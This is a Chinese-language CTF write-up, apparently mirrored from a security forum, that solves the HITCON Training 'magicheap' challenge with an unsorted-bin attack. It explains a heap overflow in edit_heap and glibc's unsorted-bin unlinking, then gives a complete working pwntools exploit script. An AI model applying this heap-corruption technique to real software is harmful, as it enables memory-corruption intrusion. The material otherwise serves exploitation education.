[原创]Pwn堆利用学习——Unsortedbin Attack——HITCON_Training_lab14_magicheap
source link: https://bbs.pediy.com/thread-268229.htm
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Challenge1 - HITCON_Training_lab14 - magicheap
实验环境:
• OS:Ubuntu16.04 x64
• libc:libc.2-23.so(md5:b0097c8a9284b03b412ff171c3d3c9cc)
步骤一:运行查看
没发现有啥特殊,就是四个选项:分配、编辑、释放、退出。
步骤二:查看文件类型和保护机制
- 64位程序
- 开启了Canary和NX,关闭了PIE
$
file
magicheap
magicheap: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1
,
not
stripped
$ checksec
-
-
file
=
magicheap
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH
87
) Symbols No
0
2magicheap
步骤三:IDA反编译分析
a. main
由分析可知,当输入的choice==4869且存储在bss段的全局变量magic>0x1305时,就能打印出flag。注意到这里是要想办法让magic变成一个很大的数,而unsortedbin attack的攻击效果就是让任意地址的内容改成一个较大的数值,因此该题可以尝试unsortedbin attack。
b. main->create_heap
c. main->create_heap->read_input
d. main->edit_heap
编辑heap内容的时候,输入的size不是chunk的user data部分的大小,而是用户自己随意输入一个数值,然后往chunk里输入size长度的数据,因此存在堆溢出漏洞。
e. main->delete_heap
-
- edit_heap函数存在堆溢出漏洞
-
- main函数输入choice
- create_heap函数输入chunk的user data部分的size和content
- edit_heap函数输入chunk的index,一个size(非chunk的userdata大小)和新的content
- delete_heap函数输入chunk的index
-
- 分析main函数的时候确定了尝试unsortedbin attack来修改全局变量magic的值,那么就要想办法在修改一个在unsortedbin里的free chunk的bk指针为0x6020b0。因为关闭了PIE,所以在.bss段的magic的地址是不变的。
所以,通过画图分析可以利用heap_edit函数的堆溢出漏洞这样去构造:
magic的地址是32位的,所以要往上16个字节需要减4。
这里顺带贴一下将chunk从unsortedbin取下来的过程:
while
((victim
=
unsorted_chunks(av)
-
>bk) !
=
unsorted_chunks(av)) {
bck
=
victim
-
>bk;
if
(__builtin_expect(chunksize_nomask(victim) <
=
2
*
SIZE_SZ,
0
) ||
__builtin_expect(chunksize_nomask(victim) > av
-
>system_mem,
0
))
malloc_printerr(check_action,
"malloc(): memory corruption"
,
chunk2mem(victim), av);
size
=
chunksize(victim);
/
*
If a small request,
try
to use last remainder
if
it
is
the
only chunk
in
unsorted
bin
. This helps promote locality
for
runs of consecutive small requests. This
is
the only
exception to best
-
fit,
and
applies only when there
is
no exact fit
for
a small chunk.
*
/
/
*
如果bck被修改会不符合这里的要求
*
/
if
(in_smallbin_range(nb) && bck
=
=
unsorted_chunks(av) &&
victim
=
=
av
-
>last_remainder &&
(unsigned
long
) (size) > (unsigned
long
) (nb
+
MINSIZE)) {
....
}
/
*
remove
from
unsorted
list
*
/
unsorted_chunks(av)
-
>bk
=
bck;
bck
-
>fd
=
unsorted_chunks(av);
于是,当chunk1的bk被覆盖修改之后,从unsorted bin移除chunk的过程可总结如下:
victim = unsorted_chunks(av)->bk = chunk1-16
bck = victim->bk = chunk1->bk = target addr-16
unsorted_chunks(av)->bk = bck=target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);
可以看出,在从 unsorted bin 移除 chunk 的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。
步骤四:调试分析
a. 模板和选项函数
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(base, system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./magicheap'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p
=
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
create(size, content):
ru(
"choice :"
)
sl(
"1"
)
ru(
"Heap : "
)
sl(
str
(size))
ru(
"heap:"
)
sl(content)
def
edit(idx, size, content):
ru(
"choice :"
)
sl(
"2"
)
ru(
"Index :"
)
sl(
str
(idx))
ru(
"Heap : "
)
sl(
str
(size))
ru(
"heap : "
)
sl(content)
def
delete(idx):
ru(
"choice :"
)
sl(
"3"
)
ru(
"Index :"
)
sl(
str
(idx))
p.interactive()
b. malloc三个smallbin chunk并释放中间的chunk1
create(
300
,
'a'
*
300
)
# 0
create(
400
,
'a'
*
400
)
# 1
create(
500
,
'a'
*
500
)
# 2
delete(
1
)
#dbg()
c. 修改chunk1的bk
fake_chunk_addr
=
0x6020b0
# chunk0 user data + chunk1 prev size + chunk1 size + chunk1 fd + &magic-4
payload
=
'b'
*
0x130
+
p64(
0
)
+
p64(
0x1a1
)
+
p64(
0
)
+
p64(fake_chunk_addr)
edit(
0
,
700
,payload)
dbg()
d. 再次malloc chunk1以修改magic的值
create(
400
,
'c'
*
400
)
dbg()
e. 输入指定choice得到flag
ru(
"choice :"
)
sl(
str
(
4869
))
ru(
"Congrt !\n"
)
flag
=
ru(
"\n"
)
print
(flag)
步骤五:完整Exp
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(base, system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./magicheap'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p
=
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
create(size, content):
ru(
"choice :"
)
sl(
"1"
)
ru(
"Heap : "
)
sl(
str
(size))
ru(
"heap:"
)
sl(content)
def
edit(idx, size, content):
ru(
"choice :"
)
sl(
"2"
)
ru(
"Index :"
)
sl(
str
(idx))
ru(
"Heap : "
)
sl(
str
(size))
ru(
"heap : "
)
sl(content)
def
delete(idx):
ru(
"choice :"
)
sl(
"3"
)
ru(
"Index :"
)
sl(
str
(idx))
create(
300
,
'a'
*
300
)
# 0
create(
400
,
'a'
*
400
)
# 1
create(
500
,
'a'
*
500
)
# 2
delete(
1
)
#dbg()
fake_chunk_addr
=
0x6020b0
# chunk0 user data + chunk1 prev size + chunk1 size + chunk1 fd + &magic-4
payload
=
'b'
*
0x130
+
p64(
0
)
+
p64(
0x1a1
)
+
p64(
0
)
+
p64(fake_chunk_addr)
edit(
0
,
700
,payload)
#dbg()
create(
400
,
'c'
*
400
)
#dbg()
ru(
"choice :"
)
sl(
str
(
4869
))
ru(
"Congrt !\n"
)
flag
=
ru(
"\n"
)
print
(flag)
p.interactive()
这一题还是比较简单的。做完之后我去看ctfwiki的题解,感觉我的脑袋僵硬了:( -> malloc的三个chunk,只要保证第二个chunk在释放的时候会放到unsorted bin里去就可以了,不需要三个都是smallbin chunk。
上传的附件:
- magicheap (13.23kb,0次下载)
- magicheap.i64 (177.43kb,0次下载)
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK